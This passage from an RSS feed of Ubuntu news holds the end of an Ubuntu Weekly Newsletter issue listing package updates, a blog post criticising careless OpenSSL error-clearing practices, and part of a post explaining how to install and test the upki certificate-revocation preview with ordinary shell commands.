<li>mesa 26.0.8-1ubuntu0.3 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028565.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028565.html</a></li>
<li>opkssh 0.10.0-3ubuntu0.1 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028566.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028566.html</a></li>
<li>apport 2.34.1-0ubuntu0.1 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028567.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028567.html</a></li>
<li>libfprint 1:1.95.1+tod1-0ubuntu2 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028568.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028568.html</a></li>
<li>openssh 1:10.2p1-2ubuntu3.3 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028569.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028569.html</a></li>
<li>webkit2gtk 2.52.3-0ubuntu0.26.04.3 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028570.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028570.html</a></li>
<li>tzdata 2026b-0ubuntu0.26.04.1 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028571.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028571.html</a></li>
<li>fabric-manager-580 580.173.02-0ubuntu0.26.04.1 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028572.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028572.html</a></li>
<li>libnvidia-nscq-580 580.173.02-0ubuntu0.26.04.1 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028573.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028573.html</a></li>
<li>nvidia-imex-580 580.173.02-0ubuntu0.26.04.1 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028574.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028574.html</a></li>
<li>nvidia-graphics-drivers-580 580.173.02-0ubuntu0.26.04.1 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028575.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028575.html</a></li>
<li>nvidia-graphics-drivers-595 595.84-0ubuntu0.26.04.1 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028576.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028576.html</a></li>
<li>nvidia-graphics-drivers-610 610.43.02-0ubuntu0.26.04.1 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028577.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028577.html</a></li>
<li>nvidia-graphics-drivers-580-server 580.173.02-0ubuntu0.26.04.1 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028578.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028578.html</a></li>
<li>at-spi2-core 2.60.4-0ubuntu0.1 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028580.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028580.html</a></li>
<li>budgie-desktop-environment 0.24.16ubuntu0.1 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028581.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028581.html</a></li>
<li>lttng-modules 2.15.0-1ubuntu1.1 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028582.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028582.html</a></li>
<li>fwupd 2.1.1-1ubuntu3.1 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028583.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028583.html</a></li>
<li>libidn 1.43-2ubuntu0.26.04.1 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028584.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028584.html</a></li>
<li>libraw 0.21.5b-1ubuntu1.1 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028585.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028585.html</a></li>
<li>ubuntu-meta 1.570.2 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028586.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028586.html</a></li>
<li>gnome-shell 50.1-0ubuntu1.1 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028588.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028588.html</a></li>
<li>linux-firmware-realtek 20260319.git217ca6e4-0ubuntu1.2 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028589.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028589.html</a></li>
<li>backport-iwlwifi-dkms 1:0~103.14434-gitdf6b5bf4-0ubuntu3.26.04.2 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028590.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028590.html</a></li>
<li>linux-firmware-amd-misc 20260319.git217ca6e4-0ubuntu1.1 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028591.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028591.html</a></li>
<li>linux-firmware-broadcom-wireless 20260319.git217ca6e4-0ubuntu1.1 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028592.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028592.html</a></li>
<li>linux-firmware-intel-graphics 20260319.git217ca6e4-0ubuntu2.1 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028593.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028593.html</a></li>
<li>linux-firmware-intel-wireless 20260319.git217ca6e4-0ubuntu2.1 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028594.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028594.html</a></li>
<li>linux-firmware-marvell-wireless 20260319.git217ca6e4-0ubuntu1.1 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028595.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028595.html</a></li>
<li>linux-firmware-mellanox-spectrum 20260319.git217ca6e4-0ubuntu1.1 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028596.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028596.html</a></li>
<li>linux-firmware-netronome 20260319.git217ca6e4-0ubuntu1.1 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028597.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028597.html</a></li>
<li>linux-firmware-nvidia-graphics 20260319.git217ca6e4-0ubuntu1.1 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028598.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028598.html</a></li>
<li>linux-firmware-qlogic 20260319.git217ca6e4-0ubuntu1.1 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028599.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028599.html</a></li>
<li>linux-firmware-qualcomm-graphics 20260319.git217ca6e4-0ubuntu1.1 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028600.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028600.html</a></li>
<li>linux-firmware-qualcomm-misc 20260319.git217ca6e4-0ubuntu2.1 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028601.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028601.html</a></li>
<li>tomcat-native 2.0.14-1~26.04.1 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028602.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028602.html</a></li>
<li>tomcat11 11.0.22-2ubuntu2~26.04.1 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028603.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028603.html</a></li>
<li>tomcat10 10.1.55-1ubuntu2~26.04.1 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028604.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028604.html</a></li>
<li>tomcat9 9.0.118-1~26.04.1 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028605.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028605.html</a></li>
<li>curl 8.18.0-1ubuntu2.3 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028606.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028606.html</a></li>
<li>libheif 1.21.2-3ubuntu0.3 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028607.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028607.html</a></li>
<li>linux-azure 7.0.0-1009.9 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028608.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028608.html</a></li>
<li>linux-meta-azure 7.0.0-1009.9 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028609.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028609.html</a></li>
<li>linux-signed-azure 7.0.0-1009.9 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028610.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028610.html</a></li>
<li>linux-restricted-modules-azure 7.0.0-1009.9 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028611.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028611.html</a></li>
<li>linux-restricted-signatures-azure 7.0.0-1009.9 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028612.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028612.html</a></li>
<li>linux-main-modules-azure 7.0.0-1009.9 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028613.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028613.html</a></li>
<li>linux-main-signed-azure 7.0.0-1009.9 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028614.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028614.html</a></li>
<li>linux-azure-fde 7.0.0-1008.8 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028615.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028615.html</a></li>
<li>linux-meta-azure-fde 7.0.0-1008.8 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028616.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028616.html</a></li>
<li>linux-signed-azure-fde 7.0.0-1008.8 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028617.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028617.html</a></li>
<li>linux-restricted-modules-azure-fde 7.0.0-1008.8 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028618.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028618.html</a></li>
<li>linux-restricted-signatures-azure-fde 7.0.0-1008.8 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028619.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028619.html</a></li>
<li>linux-main-modules-azure-fde 7.0.0-1008.8 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028620.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028620.html</a></li>
<li>linux-main-signed-azure-fde 7.0.0-1008.8 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028621.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028621.html</a></li>
<li>libpciaccess 0.18.1-1ubuntu4.1 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028622.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028622.html</a></li>
<li>linux-nvidia-bos 7.0.0-2015.15 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028626.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028626.html</a></li>
<li>linux-meta-nvidia-bos 7.0.0-2015.15 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028627.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028627.html</a></li>
<li>linux-signed-nvidia-bos 7.0.0-2015.15 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028628.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028628.html</a></li>
<li>linux-restricted-signatures-nvidia-bos 7.0.0-2015.15 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028629.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028629.html</a></li>
<li>linux-restricted-modules-nvidia-bos 7.0.0-2015.15 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028630.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028630.html</a></li>
<li>wsl-setup 0.6.3ubuntu~26.04.1 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028631.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028631.html</a></li>
<li>resource-agents 1:4.17.0-1ubuntu2.1 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028632.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028632.html</a></li>
<li>linux-oracle 7.0.0-1008.8 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028633.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028633.html</a></li>
<li>linux-meta-oracle 7.0.0-1008.8 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028634.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028634.html</a></li>
<li>linux-signed-oracle 7.0.0-1008.8 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028635.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028635.html</a></li>
<li>linux-restricted-modules-oracle 7.0.0-1008.8 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028636.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028636.html</a></li>
<li>linux-restricted-signatures-oracle 7.0.0-1008.8 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028637.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028637.html</a></li>
<li>linux-main-modules-oracle 7.0.0-1008.8 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028638.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028638.html</a></li>
<li>linux-main-signed-oracle 7.0.0-1008.8 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028639.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028639.html</a></li>
</ul>
<p>End of Standard Support: April 2031</p>
<h2><a name="p-220290-subscribe-47" class="anchor" href="https://discourse.ubuntu.com#p-220290-subscribe-47"></a>Subscribe</h2>
<p>Get your copy of the Ubuntu Weekly Newsletter delivered each week to you via email at: <a href="https://lists.ubuntu.com/mailman/listinfo/ubuntu-news">https://lists.ubuntu.com/mailman/listinfo/ubuntu-news</a></p>
<p>Or follow us via our various social media presences:</p>
<ul>
<li><a href="https://www.facebook.com/UbuntuWeeklyNewsletter">https://www.facebook.com/UbuntuWeeklyNewsletter</a></li>
<li><a href="https://twitter.com/Ubuntu_News">https://twitter.com/Ubuntu_News</a></li>
<li><a href="https://t.me/ubuntunewsletter">https://t.me/ubuntunewsletter</a> (Telegram)</li>
<li><a href="https://discourse.ubuntu.com/c/uwn/uwn-issues/419.rss">https://discourse.ubuntu.com/c/uwn/uwn-issues/419.rss</a> (our RSS feed)</li>
</ul>
<h2><a name="p-220290-archives-48" class="anchor" href="https://discourse.ubuntu.com#p-220290-archives-48"></a>Archives</h2>
<p>For recent issues of the Ubuntu Weekly Newsletter <a href="https://discourse.ubuntu.com/c/uwn/uwn-issues/419">Issue 786 &amp; later please visit our Discourse page:</a> or <a href="https://ubuntu.com/community/uwn/">our Portal page:</a> that is easier to read. The older WIKI issues (809 and earlier) are available at<a href="https://wiki.ubuntu.com/UbuntuWeeklyNewsletter/Archive">: UbuntuWeeklyNewsletter/Archive</a>.</p>
<h2><a name="p-220290-further-news-49" class="anchor" href="https://discourse.ubuntu.com#p-220290-further-news-49"></a>Further News</h2>
<p>As always you can find more Ubuntu news and announcements at:</p>
<ul>
<li><a href="https://ubuntu.com/blog/">https://ubuntu.com/blog/</a></li>
<li><a href="https://ubuntu.com/community">https://ubuntu.com/community</a></li>
</ul>
<h2><a name="p-220290-conclusion-50" class="anchor" href="https://discourse.ubuntu.com#p-220290-conclusion-50"></a>Conclusion</h2>
<p>Thank you for reading the Ubuntu Weekly Newsletter.</p>
<p>See you next week!</p>
<h2><a name="p-220290-credits-51" class="anchor" href="https://discourse.ubuntu.com#p-220290-credits-51"></a>Credits</h2>
<p>The Ubuntu Weekly Newsletter is brought to you by:</p>
<ul>
<li>Krytarik Raido</li>
<li>Bashing-om</li>
<li>Chris Guiver</li>
<li>Wild Man</li>
<li>irihapeti</li>
<li>And many others</li>
</ul>
<h2><a name="p-220290-glossary-of-terms-52" class="anchor" href="https://discourse.ubuntu.com#p-220290-glossary-of-terms-52"></a>Glossary of Terms</h2>
<p>Other acronyms can be found at: <a href="https://discourse.ubuntu.com/t/glossary-uwn/42405">https://discourse.ubuntu.com/t/glossary-uwn/42405</a></p>
<h2><a name="p-220290-get-involved-53" class="anchor" href="https://discourse.ubuntu.com#p-220290-get-involved-53"></a>Get Involved</h2>
<p>The Ubuntu community consists of individuals and teams, working on different aspects of the distribution, giving advice and technical support, and helping to promote Ubuntu to a wider audience. No contribution is too small, and anyone can help. It’s your chance to get in on all the community fun associated with developing and promoting Ubuntu. More on this at: <a href="https://community.ubuntu.com/contribute/">https://community.ubuntu.com/contribute/</a></p>
<p>Or get involved with the Ubuntu Weekly Newsletter team! We always need summary writers and editors, if you’re interested, learn more at: <a href="https://discourse.ubuntu.com/t/joining-the-ubuntu-weekly-newsletter-team/40929">https://discourse.ubuntu.com/t/joining-the-ubuntu-weekly-newsletter-team/40929</a></p>
<h2><a name="p-220290-feedback-54" class="anchor" href="https://discourse.ubuntu.com#p-220290-feedback-54"></a>Feedback</h2>
<p>This document is maintained by the Ubuntu Weekly News Team. If you have a story idea or suggestions for the Weekly Newsletter, join the Ubuntu News Team mailing list at <a href="https://lists.ubuntu.com/mailman/listinfo/Ubuntu-news-team">https://lists.ubuntu.com/mailman/listinfo/Ubuntu-news-team</a> and submit it. Ideas can also be added to the wiki at <a href="https://discourse.ubuntu.com/t/ubuntu-weekly-newsletter-ideas/40053/">https://discourse.ubuntu.com/t/ubuntu-weekly-newsletter-ideas/40053/</a> . If you’d like to contribute to a future issue of the Ubuntu Weekly Newsletter, please feel free to edit the appropriate wiki page. If you have any technical support questions, please check <a href="https://community.ubuntu.com/help-information/">https://community.ubuntu.com/help-information/</a> for more information on where to get help.</p>
<p>Except where otherwise noted, this issue of the Ubuntu Weekly Newsletter is licensed under a Creative Commons Attribution ShareAlike 3.0 License.</p>
<p><img src="https://ubuntucommunity.s3.us-east-2.amazonaws.com/original/3X/d/b/dbf59da03627b1c1aed30432a2467c245b8cfbf1.png" alt="CCL" data-base62-sha1="vnQNj6QVCJUCgWWL8t8nrPszYqJ" width="88" height="31"></p>
            <p><small>1 post - 1 participant</small></p>
            <p><a href="https://discourse.ubuntu.com/t/ubuntu-weekly-newsletter-issue-952/84897">Read full topic</a></p>]]></description>
      <source url="https://discourse.ubuntu.com/c/uwn/uwn-issues/419.rss">Ubuntu Weekly News</source>
    </item>
    <item>
      <title>The pandemic of incomplete OpenSSL error handling</title>
      <link>https://blog.jak-linux.org/2026/07/03/openssl-pandemic/</link>
      <guid isPermaLink="true">https://blog.jak-linux.org/2026/07/03/openssl-pandemic/</guid>
      <pubDate>Fri, 03 Jul 2026 15:54:22 GMT</pubDate>
      <description><![CDATA[<p>Recently a person reported a bug in APT saying that TLS is failing on FIPS
systems with MD5 errors, and suggested we call <code>ERR_clear_error()</code> around
TLS operations.</p>
<p>Like any serious software engineer would do, I said No. Just because one component
failed to handle its errors does not mean I can go around and discard all errors
in another place - the program should have failed earlier (or discarded the error
when it was determined to be safe).</p>
<p>Little did I know that people have for years been using this approach as a best
practice: Codebases everywhere are littered with calls to <code>ERR_clear_error()</code>
before performing TLS, and upstream themselves suggest to do just that.</p>
<p>This is a major, systemic, pandemic of incomplete error handling. We cannot
just discard unrelated errors if they become inconvenient. The code that
caused the error needs to be fixed to handle it.</p>
<p>This isn&rsquo;t all. It seems many authors are not familiar with libraries using a
stack of errors, and there is a second anti-pattern:</p>
<p>Call an OpenSSL operation, check the top-level error, and then discard all
errors if deemed &ldquo;not too bad&rdquo;. This has the same problem: Unrelated errors
get silently discarded.</p>
<p>I would strongly encourage everyone to inspect their code bases for any calls
to <code>ERR_clear_error()</code> and whether they are safe or one of the bad patterns
above (or maybe you find a new pattern). You may want to use error stack
functionality of<code>ERR_set_mark</code> (<a href="https://docs.openssl.org/3.4/man3/ERR_set_mark/">https://docs.openssl.org/3.4/man3/ERR_set_mark/</a>)
to essentially &ldquo;push&rdquo; and &ldquo;pop&rdquo; an error context of your own as a guard around
multiple OpenSSL operations.</p>
<p>To the OpenSSL authors, I would suggest not encouraging devastating security
practices that fundamentally break any trust in software.</p>
<p>We need to do better than this.</p>]]></description>
      <source url="https://blog.jak-linux.org/post/index.xml">Julian Andres Klode</source>
    </item>
    <item>
      <title>Try the `upki` preview for Ubuntu</title>
      <link>https://jnsgr.uk/2026/07/upki-preview-for-ubuntu/</link>
      <guid isPermaLink="true">https://jnsgr.uk/2026/07/upki-preview-for-ubuntu/</guid>
      <pubDate>Wed, 01 Jul 2026 00:00:00 GMT</pubDate>
      <description><![CDATA[<blockquote>
<p>This article was originally posted <a href="https://discourse.ubuntu.com/t/try-the-upki-preview-for-ubuntu/84705" target="_blank" rel="noreferrer">on the Ubuntu Discourse</a>, and is reposted here. I welcome comments and further discussion in that thread.</p>
</blockquote>
<p>The development of <a href="https://github.com/rustls/upki" target="_blank" rel="noreferrer">upki</a> has been steadily progressing over the past few months. Since my <a href="https://jnsgr.uk/2026/02/upki-update/" target="_blank" rel="noreferrer">last update</a>, the project has released a beta version of the CLI tool and library, and the Ubuntu Foundations team has released a preview that users of Ubuntu 26.04 LTS and Ubuntu 26.10 development snapshots can try out.</p>
<p>The preview is still experimental, but it contains both the <code>upki</code> client packages, and the initial OpenSSL integration. An instance of the upki mirror which serves the CRLite filter data is being hosted in Canonical&rsquo;s infrastructure at <code>upki.ubuntu.com</code>.</p>
<p>In this post I’ll briefly recap what upki is trying to achieve, cover the infrastructure and packaging work that has landed, and show how to try the preview on Ubuntu 26.04 LTS or Ubuntu 26.10.</p>
<details>
<summary><strong>Recap: what is upki?</strong></summary>
Linux has long had a gap in how it handles Web PKI data outside browsers. Firefox and Chromium have mature, browser-specific infrastructure for certificate revocation and related PKI data, but system utilities, package managers, language runtimes and many command-line tools have historically lacked a consistent mechanism for checking whether a publicly trusted TLS certificate has been revoked.
<p>upki’s first goal is to bring reliable, efficient and privacy-preserving revocation checking to Linux and other Unix-like operating systems. It builds on Mozilla’s CRLite work, using compact filter data that can be synced locally and queried offline. The client can then answer the question “is this certificate revoked?” without leaking browsing activity to a certificate authority (CA) and without requiring every application to implement its own CRL management stack.</p>
<p>The project is designed around a few interfaces:</p>
<ul>
<li>a command-line tool for fetching revocation data and checking certificate chains;</li>
<li>a Rust library for direct integration with Rust applications;</li>
<li>a C FFI for integration from C, C++, Go and other runtimes;</li>
<li>a <code>rustls-upki</code> integration crate for Rust applications using rustls;</li>
<li>and an <code>upki-openssl</code> integration layer that exposes an OpenSSL verification callback.</li>
</ul>
<p>Longer-term, the same local data distribution mechanism could support other browser-grade Web PKI data, including intermediate preloading, Certificate Transparency policy, root distrust information and, further out, Merkle Tree Certificates.</p>
</details>
<h2 id="recent-progress" class="relative group">Recent progress <span class="absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#recent-progress" aria-label="Anchor">#</a></span></h2><p>The upstream <a href="https://github.com/rustls/upki" target="_blank" rel="noreferrer">rustls/upki</a> repository has moved on substantially since the initial <code>upki-0.1.0</code> release in February. The current beta pre-release is <a href="https://github.com/rustls/upki/releases/tag/upki-1.0.0-beta.1" target="_blank" rel="noreferrer"><code>upki-1.0.0-beta.1</code></a>, published on 10 June 2026.</p>
<p>Since then, the C FFI has been folded into the main <code>upki</code> crate and now has a documented minimal example, <code>upki-openssl</code> has landed, exposing <code>upki_openssl_verify_callback()</code> for OpenSSL-based clients, and the <code>rustls-upki</code> crate now provides policy-controlled behaviour for missing data, certificates not covered by revocation data, and certificates without Signed Certificate Timestamps (SCTs).</p>
<p>The <code>upki</code> package we&rsquo;re making available in a PPA installs a system-wide configuration file under <code>/etc/upki/config.toml</code>, creates a dedicated <code>upki</code> service user, and installs an <code>upki-fetch.timer</code> that runs every two hours after an initial boot delay.</p>
<h2 id="install-the-development-preview" class="relative group">Install the development preview <span class="absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#install-the-development-preview" aria-label="Anchor">#</a></span></h2><blockquote>
<p>This preview is intended for testing only. It includes patched OpenSSL packages, so use a disposable VM or test system, not a production machine.</p>
</blockquote>
<p>On Ubuntu 26.04 LTS or Ubuntu 26.10, add the preview PPA:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">sudo add-apt-repository ppa:ubuntu-foundations-team/upki-preview
</span></span><span class="line"><span class="cl">sudo apt install openssl upki libupki-openssl1
</span></span></code></pre></td></tr></table>
</div>
</div><p>On Ubuntu 26.10, <code>upki</code> is intended to come from the archive while the preview PPA supplies the patched OpenSSL integration. On Ubuntu 26.04 LTS, the PPA supplies both the backported <code>upki</code> package and the patched OpenSSL packages.</p>
<p>Once installed, the revocation cache will populate on a timer (run <code>systemctl status upki-fetch.timer</code> for details). To trigger a fetch manually:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">sudo -u upki upki fetch
</span></span></code></pre></td></tr></table>
</div>
</div><p>For a manual check, pipe a certificate chain from <code>curl</code> into upki:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">$ curl -sw <span class="s1">&#39;%{certs}&#39;</span> https://google.com <span class="p">|</span> upki revocation check
</span></span><span class="line"><span class="cl">NotRevoked
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">$ curl -sw <span class="s1">&#39;%{certs}&#39;</span> https://revoked-ctrca.certificates.certum.pl/ <span class="p">|</span> upki revocation check
</span></span><span class="line"><span class="cl">CertainlyRevoked
</span></span></code></pre></td></tr></table>
</div>
</div><p>For the OpenSSL path, tools linked against the patched OpenSSL build can exercise revocation checking during certificate verification. For example, testing against a deliberately revoked certificate endpoint should fail during the TLS handshake with OpenSSL reporting a revoked certificate:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">$ curl https://revoked-ctrca.certificates.certum.pl/
</span></span><span class="line"><span class="cl">curl: <span class="o">(</span>60<span class="o">)</span> SSL certificate OpenSSL verify result: certificate revoked <span class="o">(</span>23<span class="o">)</span>
</span></span><span class="line"><span class="cl">More details here: https://curl.se/docs/sslcerts.html.
</span></span><span class="line"><span class="cl">curl failed to verify the legitimacy of the server and therefore could not establish a secure connection to it.
</span></span><span class="line"><span class="cl">To learn more about this situation and how to fix it, please visit the webpage mentioned above.
</span></span></code></pre></td></tr></table>
</div>
</div><p>The integration with OpenSSL is probably the most important part of this preview. When the packaging is finalised for Ubuntu (and included by default), any utility that links against a patched TLS provider (like OpenSSL), and follow the standard certificate verifications path should benefit from upki-backed revocation checking without application-specific changes.</p>
<p>The current preview is intentionally broad so that we can test the plumbing. The final integration policy may be narrower, and some applications that disable or override OpenSSL verification will need direct application-level integration rather than relying solely on a library callback.</p>
<h2 id="canonical-hosted-infrastructure" class="relative group">Canonical-hosted infrastructure <span class="absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#canonical-hosted-infrastructure" aria-label="Anchor">#</a></span></h2><p>One of the pieces I called out in the last update was production infrastructure. upki needs a mirror for CRLite filter data so that clients are not coupled directly to Mozilla’s internal serving infrastructure, and so that distributions and large deployments can point their systems at a stable, policy-controlled endpoint.</p>
<p>That work is now in place for the preview. The Ubuntu preview packages point at:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
